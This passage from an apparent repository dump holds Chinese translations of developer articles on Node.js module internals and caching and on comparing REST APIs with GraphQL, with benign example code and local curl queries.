并不会直接执行你在文件中写入的代码。它执行的是封装着你的代码的函数。这就保证了所有模块中定义的顶级变量的作用域都被限定在该模块中。\n\n这个封装函数包含五个参数：`exports`、`require`、`module`、`__filename` 和 `__dirname`。这些参数看起来像是全局的，实际上却是每个模块特定的。\n\n在 Node 执行封装函数的同时，以上这几个参数都获取到了它们的值。`exports` 被定义为对上一级 `module.exports` 的引用。`require` 和 `module` 都是特定于被执行函数的，而 `__filename`/`__dirname` 变量将包含被封装模块的文件名和目录的绝对路径。\n\n如果你在一个脚本的第一行编写一行错误代码并执行它，你就能看到实际的封装过程：\n\n```\n~/learn-node $ echo \"euaohseu\" > bad.js\n~/learn-node $ node bad.js\n~/bad.js:1\n(function (exports, require, module, __filename, __dirname) { euaohseu\n                                                              ^\n\nReferenceError: euaohseu is not defined\n```\n\n>注意：这里脚本第一行是作为封装函数中的代码报错的，而不是错误的引用。\n\n此外，由于每个模块都被封装在一个函数中，我们可以使用 `arguments` 关键字访问该函数的参数：\n\n```\n~/learn-node $ echo \"console.log(arguments)\" > index.js\n\n~/learn-node $ node index.js\n{ '0': {},\n  '1':\n   { [Function: require]\n     resolve: [Function: resolve],\n     main:\n      Module {\n        id: '.',\n        exports: {},\n        parent: null,\n        filename: '/Users/samer/index.js',\n        loaded: false,\n        children: [],\n        paths: [Object] },\n     extensions: { ... },\n     cache: { '/Users/samer/index.js': [Object] } },\n  '2':\n   Module {\n     id: '.',\n     exports: {},\n     parent: null,\n     filename: '/Users/samer/index.js',\n     loaded: false,\n     children: [],\n     paths: [ ... ] },\n  '3': '/Users/samer/index.js',\n  '4': '/Users/samer' }\n```\n\n第一个参数是 `exports` 对象，初始值为空。`require`/`module` 对象都与当前执行的 `index.js` 文件的实例关联。它们不是全局变量。最后两个参数分别为当前文件路径和目录路径。\n\n封装函数的返回值是 `module.exports`。在封装函数中，我们可以使用 `exports` 对象更改 `module.exports` 的属性，但是由于它仅仅是一个引用，我们无法对其重新赋值。\n\n情况大致如下：\n\n```\nfunction (require, module, __filename, __dirname) {\n  let exports = module.exports;\n\n  // 你的代码…\n\n  return module.exports;\n}\n```\n\n如果我们更改了整个 `exports` 对象，它将不再是对 `module.exports` 的引用。并不仅仅是在这个上下文中，JavaScript 在任何情况下引用对象都是这样的。\n\n#### require 对象 ####\n\n`require` 没有什么特别的。它作为一个函数对象，接收一个模块名称或路径，返回 `module.exports` 对象。我们也可以用我们自己的逻辑重写 `require` 对象。\n\n举个例子，为了测试的目的，我们希望每个 `require` 的调用都返回一个伪造的 mocked 对象，而不是引用的模块所导出的对象。这个对 require 的简单重新赋值会这样实现：\n\n```\nrequire = function() {\n\n  return { mocked: true };\n\n}\n```\n\n经过以上对 `require` 重新赋值后，脚本中的每个 `require('something')` 调用都会返回 mocked 对象。\n\nrequire 对象也有它自己的属性。我们已经认识了 `resolve` 属性，它是在 require 过程中负责解析步骤的函数。我们也见识了 `require.extensions`。\n\n还有 `require.main` 属性，有助于判断当前脚本是正被引用还是直接执行。\n\n举个例子，我们在 `print-in-frame.js` 中定义一个简单的 `printInFrame` 函数：\n\n```\n// 在 print-in-frame.js 中\n\nconst printInFrame = (size, header) => {\n  console.log('*'.repeat(size));\n  console.log(header);\n  console.log('*'.repeat(size));\n};\n```\n\n该函数使用一个数字型参数 `size` 和一个字符串型参数 `header`，并在我们指定大小的星号框中将标题打印出来。\n\n我们希望通过两种方式执行该文件：\n\n1. 在命令行下直接运行：\n\n```\n~/learn-node $ node print-in-frame 8 Hello\n```\n\n将 8 和 Hello 作为命令行参数，打印出由8个星号组成的框以及 “Hello”。\n\n2. 使用 `require`。假设被引用的模块会导出 `printInFrame` 函数，我们可以这样调用它：\n\n```\nconst print = require('./print-in-frame');\n\nprint(5, 'Hey');\n```\n\n打印由五个星号组成的框以及其中的标题 “Hey”。\n\n以上是两种不同的用法。我们需要一种方法来确定该文件是作为独立脚本运行还是被其他脚本引用时运行。\n\n此时我们可以使用简单的 if 声明语句：\n\n```\nif (require.main === module) {\n  // 该文件正被直接运行\n}\n```\n\n所以我们可以使用该条件判断来满足上述使用需求，通过不同的方式调用 printInFrame 函数。\n\n```\n// 在 print-in-frame.js 中\n\nconst printInFrame = (size, header) => {\n  console.log('*'.repeat(size));\n  console.log(header);\n  console.log('*'.repeat(size));\n};\n\nif (require.main === module) {\n  printInFrame(process.argv[2], process.argv[3]);\n} else {\n  module.exports = printInFrame;\n}\n```\n\n如果文件不是被引用的，我们使用 `process.argv` 的参数来调用 `printInFrame` 函数。否则我们就将 `module.exports` 对象替换为 `printInFrame` 函数。\n\n#### 所有模块都将被缓存 ####\n\n理解缓存非常重要。下面我用一个简单的例子来演示一下。\n\n假设你有以下 `ascii-art.js` 文件，它能打印出一个很酷的标题：\n\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*yZ57VtXUuEo-nQSs9VztvQ.png\">\n\n我们希望在每次 **引用** 该文件时都显示这个标题。因此如果我们引用了两次该文件，我们希望标题显示两次。\n\n```\nrequire('./ascii-art') // 显示标题\nrequire('./ascii-art') // 不显示标题\n```\n\n由于模块缓存，第二次的引用将不会显示标题。Node 会在第一次调用时进行缓存，在第二次调用时不再加载文件。\n\n我们可以通过在第一次引用后打印 `require.cache` 来查看缓存。管理缓存的是一个对象，它的属性值分别对应引用过的模块。这些属性值即用于各模块的 `module` 对象。我们可以通过简单地从 `require.cache` 对象中删除一个属性来令该缓存失效，然后 Node 就会再次加载并缓存该模块。\n\n然而，这并不是应对这种情况最高效的解决方案。简单的解决办法是将 `ascii-art.js` 中的打印代码用一个函数封装起来并导出该函数。通过这种方式，每当我们引用 `ascii-art.js` 文件时，我们就能获取到一个可执行函数，以供我们多次调用打印代码：\n\n```\nrequire('./ascii-art')() // 显示标题\nrequire('./ascii-art')() // 显示标题\n```\n\n以上就是我关于本次主题所要讲述的全部内容。回见！\n"
  },
  {
    "path": "TODO/rest-2-0-graphql.md",
    "content": "> * 原文地址：[REST 2.0 Is Here and Its Name Is GraphQL](https://www.sitepoint.com/rest-2-0-graphql/)\n> * 原文作者：[Michael Paris](https://www.sitepoint.com/author/mparis/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [mnikn](https://github.com/mnikn)\n> * 校对者： [CACppuccino](https://github.com/CACppuccino)，[sunui\n](https://github.com/sunui)\n\n# REST 2.0 在此，它的名字叫 GraphQL\n\n![Abstract network design representing GraphQL querying data](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1495045443Fotolia_71313802_Subscription_Monthly_M-1024x724.jpg) \n\nGraphQL 是一种 API 查询语言。虽然它和 REST 完全不同，但是 GraphQL 可作为 REST 的代替品，提供一样的体验。对于一个有经验的开发者来说，它可作为一个非常强有力的工具。\n\n在这篇文章中，我们将看看如何用 REST 和 GraphQL 处理一些常见的任务。本文中举了三个例子，你会看到用于提供热门电影和演员信息的 REST 和 GraphQL API 的代码，还有一个简单的用 HTML 和 jQuery 写出的前端应用。\n\n我们将会使用这些 API，看看它们在技术上有什么不同点，这样我们就可以知道它们有什么优势和不足。首先，让我们看一下它们所采用了什么技术。\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/04/14918074751489563681243c760b-dcef-4ab0-b6ac-9a1e1e654483.png)\n\n## 早期的 Web\n\n早期网络的技术架构很简单。早期互联网上的网页使用静态的 HTML 文档，随后网站把动态的内容存储在数据库（例如：SQL）并使用 JavaScript 来进行交互。大多数网络的内容是通过桌面电脑上的浏览器来浏览的，并且看起来一切都运作良好。\n\n![Normal Image](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1494257477001-TraditionalWebserver.png)\n\n## REST: API的兴起\n\n快速前往 2007 年，当时乔布斯在展示 iPhone。智能手机除了对世界各地的文化、交流造成深远的影响，它还让开发者的工作变得更加复杂了。智能手机改变了当时开发的模式，在短短几年，我们突然间有了台式机、iPhone、Android 和平板电脑。\n\n因此，开发者们开始使用 [RESTful API](https://en.wikipedia.org/wiki/Representational_state_transfer) 来给各种类型和规模的应用提供数据。新的开发架构看起来像是这样的：\n\n![REST Server](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1494257479002-RestfulServer.png)\n\n## GraphQL: API 的进化\n\nGraphQL 是一种由 Facebook 设计并开源的 **API 查询语言**。在构建 API 时，你可以认为 GraphQL 是 REST 的替代品。然而 REST 是一个概念上的模型，用来设计并实现你的 API，而 GraphQL 是一种标准的语言，系统地在客户端和服务端中创建了一个强力的条约。有了这样一门能与我们所有的设备通讯的语言，可以有效地简化建设大规模、跨平台应用程序的过程。\n\n通过 GraphQL 我们的图解可简化为：\n\n![GraphQL Server](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1494257483003-GraphQLServer.png)\n\n## GraphQL vs REST\n\n在接下来的教程里，我建议你跟着代码看一下！你可以在 [附随的 GitHub 仓库](https://github.com/sitepoint-editors/sitepoint-graphql-article) 中找到本文的代码。\n\n三个项目：\n\n1. RESTful API \n2. GraphQL API\n3. 由 jQuery 和 HTML 构建的简易的网页。\n\n这些项目都挺简单，我们尽可能通过这些项目来比较它们之间在技术上的不同。\n\n如果你愿意的话可以打开三个终端窗口并 `cd` 到 `RESTful`、`GraphQL` 和 `Client` 项目文件夹。在每个项目的文件夹里执行命令 `npm run dev` 来运行开发服务器。一旦你的服务器已准备好，就可以执行下一步了 :)\n\n## 使用 REST 来查询\n\n我们的 RESTful API包含了一些路径：\n\n![Markdown](http://i4.buimg.com/1949/6c5d1503224ef6b2.png)\n\n> **注意**: 我们简单的数据模型已经有了 6 个路径需要维护和记录。\n\n让我们想象一下我们是客户端开发者，需要使用电影的 API 来通过 HTML 和 jQuery 构建一个简单的页面。为了构建我们的页面，我们需要有关电影和其出演人员的信息。我们的 API 有这些功能，所以现在只需获取其数据。\n\n如果你打开一个终端并且运行命令\n\n```\ncurl localhost:3000/movies\n\n```\n\n你得到的响应会是这样子的：\n\n```\n[\n  {\n    \"href\": \"http://localhost:3000/movie/1\"\n  },\n  {\n    \"href\": \"http://localhost:3000/movie/2\"\n  },\n  {\n    \"href\": \"http://localhost:3000/movie/3\"\n  },\n  {\n    \"href\": \"http://localhost:3000/movie/4\"\n  },\n  {\n    \"href\": \"http://localhost:3000/movie/5\"\n  }\n]\n```\n\n在 RESTful 的风格中，API 会返回一对指向真正电影对象的链接数组。我们可以通过运行命令 `curl http://localhost:3000/movie/1` 来获取第一个电影的信息，通过命令 `curl http://localhost:3000/movie/2` 来获取第二个，以此类推。\n\n如果你看下 `app.js` 你会发现我们的用来获取页面数据的函数：\n\n```\nconst API_URL = 'http://localhost:3000/movies';\nfunction fetchDataV1() {\n\n  // 1 call to get the movie links\n  $.get(API_URL, movieLinks => {\n    movieLinks.forEach(movieLink => {\n\n      // For each movie link, grab the movie object\n      $.get(movieLink.href, movie => {\n        $('#movies').append(buildMovieElement(movie))\n\n        // One call (for each movie) to get the links to actors in this movie\n        $.get(movie.actors, actorLinks => {\n          actorLinks.forEach(actorLink => {\n\n            // For each actor for each movie, grab the actor object\n            $.get(actorLink.href, actor => {\n              const selector = '#' + getMovieId(movie) + ' .actors';\n              const actorElement = buildActorElement(actor);\n              $(selector).append(actorElement);\n            })\n          })\n        })\n      })\n    })\n  })\n}\n```\n\n你可能注意到，这种情况不太理想。整体上我们调用了 `1 + M + M + sum(Am)` 次 API，其中 **M** 是电影的数量，**sum(Am)** 是处理 M 个电影的行为的数量和。对于数据量小的应用来说还可以，但是这无法适用于大型的生产系统。\n\n小结一下，我们简易的 RESTful 方法还不能够满足要求。为了改进我们的 API，我们可能需要叫后端团队构建一个额外的 `/moviesAndActors` 路径提供给页面。一旦这个路径完成，我们就可以通过仅用一次请求来代替 `1 + M + M + sum(Am)` 次调用。\n\n```\ncurl http://localhost:3000/moviesAndActors\n```\n\n它返回的数据看起来像这样：\n\n```\n[\n  {\n    \"id\": 1,\n    \"title\": \"The Shawshank Redemption\",\n    \"release_year\": 1993,\n    \"tags\": [\n      \"Crime\",\n      \"Drama\"\n    ],\n    \"rating\": 9.3,\n    \"actors\": [\n      {\n        \"id\": 1,\n        \"name\": \"Tim Robbins\",\n        \"dob\": \"10/16/1958\",\n        \"num_credits\": 73,\n        \"image\": \"https://images-na.ssl-images-amazon.com/images/M/MV5BMTI1OTYxNzAxOF5BMl5BanBnXkFtZTYwNTE5ODI4._V1_.jpg\",\n        \"href\": \"http://localhost:3000/actor/1\",\n        \"movies\": \"http://localhost:3000/actor/1/movies\"\n      },\n      {\n        \"id\": 2,\n        \"name\": \"Morgan Freeman\",\n        \"dob\": \"06/01/1937\",\n        \"num_credits\": 120,\n        \"image\": \"https://images-na.ssl-images-amazon.com/images/M/MV5BMTc0MDMyMzI2OF5BMl5BanBnXkFtZTcwMzM2OTk1MQ@@._V1_UX214_CR0,0,214,317_AL_.jpg\",\n        \"href\": \"http://localhost:3000/actor/2\",\n        \"movies\": \"http://localhost:3000/actor/2/movies\"\n      }\n    ],\n    \"image\": \"https://images-na.ssl-images-amazon.com/images/M/MV5BODU4MjU4NjIwNl5BMl5BanBnXkFtZTgwMDU2MjEyMDE@._V1_UX182_CR0,0,182,268_AL_.jpg\",\n    \"href\": \"http://localhost:3000/movie/1\"\n  },\n  ...\n]\n```\n\n很好！通过单独一次请求，我们就能够得到我们所需的页面数据。回头看下 `Client` 目录里面的 `app.js`，我们可以看到处理数据时的进步。\n\n```\nconst MOVIES_AND_ACTORS_URL = 'http://localhost:3000/moviesAndActors';\nfunction fetchDataV2() {\n  $.get(MOVIES_AND_ACTORS_URL, movies => renderRoot(movies));\n}\nfunction renderRoot(movies) {\n  movies.forEach(movie => {\n    $('#movies').append(buildMovieElement(movie));\n    movie.actors && movie.actors.forEach(actor => {\n      const selector = '#' + getMovieId(movie) + ' .actors';\n      const actorElement = buildActorElement(actor);\n      $(selector).append(actorElement);\n    })\n  });\n}\n\n```\n\n我们的新应用会比之前的版本更快，但是这还不够完美。如果你打开 `http://localhost:4000` 并且看看我们简易的网页，你会看到像这样的东西：\n\n![Demo App](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1494257488004-DemoApp.png)\n\n如果你看得仔细点，你会发现我们的页面使用了电影的标题和图片，演员的名字和图片（也就是说，在电影对象中的 8 个字段，我们只使用了 2 个，在演员对象中有 7 个字段，我们也只使用了 2 个）。这意味着我们浪费了我们所请求的四分之三的信息！过量的带宽使用不仅会影响网页的表现，也会提高你的设备花销！\n\n一个精明的后端开发者可能会笑笑然后快速实现一个查询字段，根据传进来的字段名称来动态返回请求所需的字段。\n\n例如，与其使用 `curl http://localhost:3000/moviesAndActors`，我们更倾向于 `curl http://localhost:3000/moviesAndActors?fields=title,image`。我们甚至有另外一个查询参数 `actor_fields` 用来指定要包含的 actor 模型的成员。例如 `curl http://localhost:3000/moviesAndActors?fields=title,image&actor_fields=name,image`。\n\n现在，这在我们简易的应用中算是优化的实现，但是同时它也引进了创造自定义路径给特定客户端应用的坏习惯。当你开始构建 iOS 应用，而它需要显示的信息和网页、Android 应用不同时，这种问题会发生得越来越多。\n\n如果我们可以构建一个广泛的 API 来显性表示我们数据模型中的实体和实体间的关系，却并不需要额外付出 `1 + M + M + sum(Am)` 的性能损失，那不是很美妙吗？好消息是，我们真的可以！\n\n## 使用 GraphQL 来查询\n\n通过 GraphQL,我们可以直接跳过优化查询来获取我们所需的所有信息，无需多余的操作，只需要直接的查询：\n\n```\nquery MoviesAndActors {\n  movies {\n    title\n    image\n    actors {\n      image\n      name\n    }\n  }\n}\n\n```\n\n注意！自己试试，打开 GraphiQL（一个基于 GraphQL IDE 神奇的浏览器），输入地址 [http://localhost:5000](http://localhost:5000) 并运行上面的查询语句。\n\n现在，让我们更深入地探讨一下 GraphQL。\n\n## 深入 GraphQL\n\nGraphQL 采取和 REST 完全不同的方法来访问 API。它不依赖于 HTTP 架构中的动作与 URI，而是基于指令式的查询语言和强力的基于数据的类型系统。类型系统在客户端和服务端之间提供了强类型的条约，并且查询语句提供一种机制来让客户端的开发者获取任意所需数据给页面。\n\nGraphQL 鼓励你把数据想象成是一个虚拟的信息图。实体包含了叫做 type 的信息，并且这些 type 可以和其他字段关联。查询从顶部开始，遍历虚拟图的同时获取所需的信息。。\n\n“虚拟图” 更倾向于用 **schema** 描述。**schema** 是 type、interface、enum 和 union 的集合，用来构建你的 API 数据模型。GraphQL 甚至包含了一种通用的 schema 语言来定义我们的 API。例如，这是我们电影 API 的 schema：\n\n```\nschema {\n    query: Query\n}\n\ntype Query {\n    movies: [Movie]\n    actors: [Actor]\n    movie(id: Int!): Movie\n    actor(id: Int!): Actor\n    searchMovies(term: String): [Movie]\n    searchActors(term: String): [Actor]\n}\n\ntype Movie {\n    id: Int\n    title: String\n    image: String\n    release_year: Int\n    tags: [String]\n    rating: Float\n    actors: [Actor]\n}\n\ntype Actor {\n    id: Int\n    name: String\n    image: String\n    dob: String\n    num_credits: Int\n    movies: [Movie]\n}\n\n```\n\n类型系统为了打开大门引进大量美妙的东西，包含了更好的工具，更好的文档，还有效率更高的应用。有许多值得称道的东西，但是现在我们先跳过，重点放在用更多的场景来显示 REST 和 GraphQL 之间的不同。\n\n## GraphQL vs Rest: 版本化\n\n一个 [简单的 google 搜索](https://www.google.com/search?q=REST+versioning&amp;oq=REST+versioning) 显示了许多人认为对 REST API 的最佳版本化实践（或者改革）。我们不会陷入这个问题，但是我真的想要说明这不是一个简单的问题。其中一个原因是版本化很难，因为我们很难知道什么样的应用和装置要用到什么样的信息。\n\n添加信息对于 REST 和 GraphQL 来说都很容易。添加字段对 REST 客户端来说更麻烦，对 GraphQL 来说则会安全地无视它，直到你改变查询方式。然而，删除和修改信息又是另外一回事了。\n\n在 REST 中，我们很难从字段层面上得知哪些信息被用到了。我们可能知道有一个路径 `/movies` 在使用，但是我们不知道客户端是否使用字段 title，image 或者都用。其中一个可能的方案就是添加一个查询参数 `fields` 来指定返回字段，但是这些参数应该为可选项。因此，你会发现我们在路径层面上作出的改进，引入了新的路径 `/v2/movies`。这有用但同时也增加了我们 API 的范围，让开发者在更新 API 和维护文档的可读性上的负担更重。\n\n然而在 GraphQL 上的版本化则很不同。每个 GraphQL 查询都需要准确地表明请求所需的字段。事实上这是规定，代表我们准确地知道在请求什么信息，我们可以因此来反问自己请求有多频繁和由谁请求。GraphQL 同时包含了原始命令来让我们用不支持字段来修饰一个 schema，通过不支持字段和消息来解释为什么它们不被支持。\n\nGraphQL 上的版本化看起来像这样：\n\n![Versioning in GraphQL](https://philsturgeon.uk/images/article_images/2017-01-24-graphql-vs-rest-overview/graphql-versioning-marketing-site.gif)\n\n## GraphQL vs REST: 缓存\n\n在 REST 里缓存很直接也很有用。事实上，缓存是 [六个 RSET 设计约束之一](https://en.wikipedia.org/wiki/Representational_state_transfer) ，同时暴露在 RESTful 的设计当中。如果路径 `/movies/1` 的响应指出响应可以被缓存，这样之后来自 `/movies/1` 的请求都可以以使用缓存来替换。这很简单。\n\n在 GraphQL 里缓存的方式有一点点不同。在 GraphQL API 里缓存，往往需要对于每个 API 中的对象引入一些特别的识别器。当每个对象均有自己独有的 id，客户端就可以构建规范化的缓存，通过识别器来可靠地给对象缓存、更新并使之失效。当客户端的查询指向对象，将会使用在缓存中的对象作为替换。如果你有兴趣了解更多有关 GraphQL 里面缓存的工作原理，点击 [更深入了解各个部分](http://graphql.org/learn/caching/)。\n\n## GraphQL vs REST: 开发者的经验\n\n开发者经验对于应用开发来说是至关重要的，并且是工程师们花费这么多时间来构建好用的工具的原因。这里的比较难免会有一些主观的东西夹入其中，但我认为还是有许多值得一提的东西。\n\nREST 尝试搭建了一个拥有各种工具的丰富的生态圈，帮助开发者们撰写文档，测试并审查 RESTful API，并且它真的做到了。因此有很多的开发者加入，REST API 规模增长。路径的数量迅速变得庞大起来，不足之处也变得越来越明显，并且版本化越发困难。\n\nGraphQL 真的胜在开发者经验这一部分。类型系统为美妙的工具打开大门，例如 GraphiQL IDE，和内嵌在 schema 的文档。同时在 GraphiQL 里对于每个路径来说，与其依赖文档来发现数据是否可用，通过类型安全的语言和自动完成，你可以快速构建一个 API。同时 GraphQL 是设计用来和现代的前端框架搭配的，例如 React 和 Redux。如果你想要构建 React 应用，我强烈推荐看看 [Relay](https://facebook.github.io/relay/) 或者 [Apollo client](https://github.com/apollographql/apollo-client)。\n\n## 结论\n\nGraphQL 提供更独具一格且异常强力的工具来快速构建一个数据驱动的应用。REST 不会立刻就消失，但是会有大量应用需要 GraphQL ，特别是想要构建客户端应用的时候。\n\n如果你有兴趣了解更多，看看 [Scaphold.io’s GraphQL 后端即服务](https://scaphold.io)。  在 [几分钟内构建一个部署在 AWS 上，使用 GraphQL API 的产品](https://www.youtube.com/watch?v=yaacnYUqY1Q)，并且准备自定义和拓展你的业务逻辑。\n\n但愿这篇文章令您有所收获，若您有任何建议或者意见，欢迎提出！谢谢！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/rest-apis-are-rest-in-peace-apis-long-live-graphql.md",
    "content": "\n> * 原文地址：[REST APIs are REST-in-Peace APIs. Long Live GraphQL](https://medium.freecodecamp.org/rest-apis-are-rest-in-peace-apis-long-live-graphql-d412e559d8e4)\n> * 原文作者：[Samer Buna](https://medium.freecodecamp.org/@samerbuna)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/rest-apis-are-rest-in-peace-apis-long-live-graphql.md](https://github.com/xitu/gold-miner/blob/master/TODO/rest-apis-are-rest-in-peace-apis-long-live-graphql.md)\n> * 译者：[sigoden](https://github.com/sigoden)\n> * 校对者：[jasonxia23](https://github.com/jasonxia23)、[shawnchenxmu](https://github.com/shawnchenxmu)\n\n# REST API 已死，GraphQL 长存\n\n在使用多年的 REST API 后，当我第一次接触到 GraphQL 并了解到它试图解决的问题时，我无法抗拒给本文取了这样一个标题。\n\n![![](https://ws2.sinaimg.cn/large/006tNc79gy1fi3ephib0oj312g0aqq45.jpg)](https://twitter.com/samerbuna/status/644548922979954688)\n\n当然，过去，这可能只是本人有趣的尝试，但是现在，我相信这有趣的预测正在慢慢发生。\n\n请不要理解错了，我并没有说 GraphQL 会干掉 REST 或其它类似的话语，REST 大概永远不会真正消亡，就像 XML 并不会真正消亡一样。我只是认为 GraphQL 与 REST 的关系将会变得像 JSON 与 XML 一样。\n\n本文并不是百分百支持 GraphQL。需要注意 GraphQL 灵活性所带来的开销。好的灵活性常常伴随着大的开销。\n\n我信仰\"一切[从提问开始](https://startwithwhy.com/)\"，让我们开始吧。\n\n### 总而言之：为什么需要 GraphQL？\n\nGraphQL 漂亮地解决了如下三个重要问题：\n\n- **填充一个视图需要的数据进行多次往返拉取**: 使用 GraphQL，我们总能够通过**一次**往返就能从服务器获取到用来填充视图的所有初始化数据。如果使用 REST API，要到达相同的效果，我们需要引入非结构化的参数和条件，使管理和维护变得困难。\n- **客户端对服务端产生依赖**: 使用 GraphQL，客户端就有了自己的语言：1) 无需服务端对数据的结构和规格进行硬编码 2) 客户端与服务端解耦。这意味着我们能让客户端与服务器分离并单独对它进行维护和升级。\n- **糟糕的前端开发体验**: 使用 GraphQL，前端开发人员使用声明式语言表达其对填充用户界面所需要的数据的需求。他们表达他们需要什么，而不是如何使其可用。这样就在 UI 需要的数据和开发人员在 GraphQL 中表述的数据之间构建一种紧密的联系。\n\n本文将就 GraphQL 如何解决这些问题进行详细阐述。\n\n在我们正式开始之前，考虑到你目前可能还不熟悉 GraphQL ，我们先从简单定义开始。\n\n### GraphQL 是什么？\n\nGraphQL 是一门**语言**。 如果我们传授 GraphQL 语言给一款应用，这款应用就能够向支持 GraphQL 的后端数据服务**声明式**传达数据需求。\n\n> 就像小孩子很快就能学会一种新语言，而成年人却很难学会一样，使用 GraphQL 从头开始编写应用比将 GraphQL 添加到一款成熟的应用要容易很多。\n\n为了让数据服务支持 GraphQL，我们需要实现一个**运行时**层并将它暴露给想要与服务通信的客户端。可以将这个添加到服务端的层简单地看作是一位 GraphQL 语言翻译员，或代表数据服务并会说 GraphQL 语言的代理。GraphQL 并不是一个存储引擎，所以它不能作为一个独立的解决方案。这就是我们不能有一个纯粹的 GraphQL 服务，而需要实现一个翻译运行时的原因。\n\n这个层可以用任何语言编写，它定义了一个通用的基于图的模板来发布它所代表的数据服务的**功能**。支持 GraphQL 的客户端可以在功能允许的范围内使用这种模版进行查询。这一策略可以将客户端与服务端分离，允许两者独立开发和扩展。\n\n一个 GraphQL 请求既可以是**查询**（读操作），也可以是**修改**（写操作）。不管是何种情形，请求均只是一个带有特定格式的简单字符串，GraphQL 服务器可以对其进行解析、执行、处理。在移动和 Web 应用中最常见的响应格式是 *JSON* 。\n\n### 什么是 GraphQL ？（把我当五岁小孩后再向我解释版）\n\nGraphQL 一切为了数据通信。你有一个需要需要彼此通信的客户端和服务器，客户端需要告诉服务器它需要什么数据，服务器需要根据客户端的需求返回具体的数据，GraphQL 作为这种通信的中间人。\n![](https://cdn-images-1.medium.com/max/1600/1*fSaxvhFkiXvr8FoFZZjF0g.png)\n\n屏幕截图中是我的 Pluralsight 课程 —— 使用 GraphQL 构建可扩展 API\n你问，客户端难道不能直接与服务器通信吗？答案是能。\n\n这儿有几个原因导致我们需要在客户端和服务器间添加一个 GraphQL 层。原因之一，可能也是最主要的原因，这样做更**高效**。客户端通常需要从服务器获取**多个**资源，而服务器通常只能理解如何对单个资源进行回复。这就造成客户端最后需要多次往返服务器才能集齐需要的数据。\n\n通过 GraphQL，我们基本上可以将这种复杂的多次请求转移到服务端，让 GraphQL 层来处理。客户端向 GraphQL 层发起单个请求，并得到一个完全符合客户端需求的响应。\n\n使用 GraphQL 层还有很多其它好处。例如，另一个大的好处是与多个服务进行通信。当您有多个客户端向多个服务请求数据时，中间的 GraphQL 可以让通信简化、标准化。尽管与 REST API 比起来这不算是卖点 —— 因为 REST API 也可以很容易地完成同样的工作 —— 但 GraphQL 运行时提供了一种结构化和标准化的方法。\n\n![](https://cdn-images-1.medium.com/max/1600/1*2mTYU2RCJHagQrqQokYpww.png)\n\n屏幕截图中是我的 Pluralsight 课程 —— 使用 GraphQL 构建可扩展 API\n不是让客户端直接请求两个不同的数据服务（如幻灯片所示），而是让客户端先与 GraphQL 层通信。GraphQL 层再分别与两个不同的数据服务通信。通过这种方式，GraphQL 解决了客户端必须与多个不同语言的后端进行通信的问题，并将单个请求转换为使用不同语言的多个服务的多个请求。\n\n> 想象一下，你认识三个人，他们说不同的语言，掌握着不同领域的知识。然后再想象一下，你遇到一个只有结合三个人的知识才能回答的问题。如果你有一个会说这三种语言的翻译人员，那么任务就变成将你的问题的答案放在一起，这就很容易了。这就是 GraphQL 运行时要做的。\n\n计算机还没有聪明到能回答任何问题（至少目前是这样），所以它们必须遵守某种算法。这就是为什么我们需要在 GraphQL 运行时中定义一个模板让客户端来使用的原因。\n\n这个模板基本上是一个功能文档，它列出了客户端能向 GraphQL 层查询的全部问题。因为模板采用了图形节点所以在使用上具有一定的灵活性。模板也表明了 GraphQL 层能解答哪些问题，不能解答哪些问题。\n\n还是不理解？让我用最确切最简短的话语来描述 GraphQL ：**一种 REST API 的替代**。接下来让我回答一下你很可能会问的问题。\n\n### REST API 有什么错？\n\nREST API 最大的问题是其天然倾向多端点。这造成客户端需要多次往返获取数据。\n\nREST API 通常由多个端点组成，每个端点代表一种资源。因此，当客户端需要多个资源时，它需要向 REST API 发起多个请求，才能获取到所需要的数据。\n\n在 REST API 中，是没有描述客户端请求的语言的。客户端无法控制服务器返回哪些数据。没有让客户端对返回数据进行控制的语言。更确切的说，客户端能使用的语言是很有限的。\n\n例如，有如下进行**读取**操作的 REST API：\n\n- GET `/ResouceName` - 从该资源获取包含所有记录的列表\n- GET `/ResourceName/ResourceID` - 通过 ID 获取某条特定记录\n\n例如，客户端是不能够指定从该资源的记录中选择哪些**字段**的。信息仅存在于提供 REST API  的服务中，该服务将始终返回所有字段，而不管客户端需要什么。借用 GraphQL 术语描述这个问题：**超额获取**(over-fetching) 没用的信息。这浪费了服务器和客户端的网络内存资源\n*\nREST API 的另一个大问题就是版本控制了。如果你需要支持多版本，那你就需要为此创建多个新的端点。这会导致这些端点很难使用和维护，此外，还造成服务端出现很多冗余代码。\n\n上面列出的一些 REST API 带来的问题都是 GraphQL 试图解决的。这并不是 REST API 带来的全部问题，我也不打算说明 REST API 是什么不是什么。我只是在谈论一种最流行的基于资源的 HTTP 终点 API。这些 API 最终都会变成一种具有常规 REST 特性的端点和出于性能原因定制的特殊端点的组合。\n\n### GraphQL 如何实现其魔力？\n\n在 GraphQL 背后有很多的概念和设计策略，这儿列举了一些最重要的：\n\n- GraphQL 模板是强类型的。要创建一套 GraphQL 模板，我们需要定义了一些带有**类型**的**字段**。这些类型可以是原始数据类型也可以是自定义的，在模板中一切均需要类型。丰富的类型系统带来了丰富的特性，如 API 自证，这让我们能够为客户端和服务端创建强大的工具。\n- GraphQL 以图的形式组织数据，数据自然形成图。如果你需要一个结构描述数据，图是一种不错的选择。GraphQL 